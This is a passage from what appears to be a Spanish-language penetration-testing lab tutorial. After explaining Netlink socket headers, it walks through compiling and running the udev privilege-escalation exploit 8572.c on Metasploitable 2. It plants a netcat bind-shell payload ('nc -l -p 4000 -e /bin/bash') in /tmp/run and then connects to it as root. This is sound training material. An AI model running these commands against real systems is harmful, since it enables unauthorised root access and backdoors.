Beruflich Dokumente
Kultur Dokumente
información entre los módulos del núcleo y los procesos del espacio de usuario, Los
sockets Netlink son lo que permitem esta comunicación.
Los mensajes de Netlink siguen un formato muy particular. Todos los mensajes deben
estar alineados con un límite de 4 bytes. Como ejemplo, un mensaje de 16 bytes debe
enviarse tal cual , pero un mens
aje de 17 bytes debe rellenarse a 20 bytes.
Los encabezados de mensajes de Netlink utilizan el siguiente formato: (diagrama de RFC
3549 ):
Longitud (32 bits): la longitud del mensaje completo, incluidos los encabezados y la
carga útil.
Tipo (16 bits): qué tipo de información contiene el mensaje, como un error, mensaje
de finalización de varias partes, etc.
Indicadores (16 bits): indicadores de bits que indican que un mensaje es una solicitud,
un mensaje de varias partes, un acuse de recibo de una solicitud, etc.
Id. De proceso (PID) (32 bits): a veces se denomina Id. De puerto; un número que se
utiliza para identificar de manera única un socket de enlace de red particular; puede o
no ser la identificación del proceso.
$ id; whoami
$ uname -a
A continuación se expone la información incluida en el código del Exploit:
# searchsploit udev
Se verifica la existencia del archivo, visualizando parte del exploit.
# head /usr/share/exploitdb/platforms/linux/local/8572.c
En Metasploitable 2
Se compila el exploit
$ cc -o 8572 8572.c
Antes de ejecutar el exploit se requiere leer las “instrucciones” contenidas en el archivo del
código.
Se debe pasar el PID (Process IDentifier) o Identificador del Proceso del socket netlink
udevd (listado en /proc/net/netlink, usualmente es el PID udevd menos 1) como argv[1].
Este exploit ejecutará el archivo /tmp/run como root, aquí es donde se debe colocar el
Payload o Carga Útil a ejecutar.
Se procede a crear el archivo “/tmp/run”. Para este ejemplo se utilizará netcat para abrir
una “backdoor” o puerta trasera con privilegios de root.
Nano run, export TERM=xterm
#!/bin/bash
nc -n -l -p 4000 -e /bin/bash
$ ./8572 2704
Se visualiza el puerto TCP 4000 en atención. Ahora se realiza una conexión desde Kali
Linux hacia este puerto de Metasploitable 2, utilizando netcat.
# nc -n -v 192.168.0.16 4000
La explotación para elevar o escalar privilegios ha sido satisfactoria, pues ya se tiene
acceso como el usuario root en el sistema objetivo.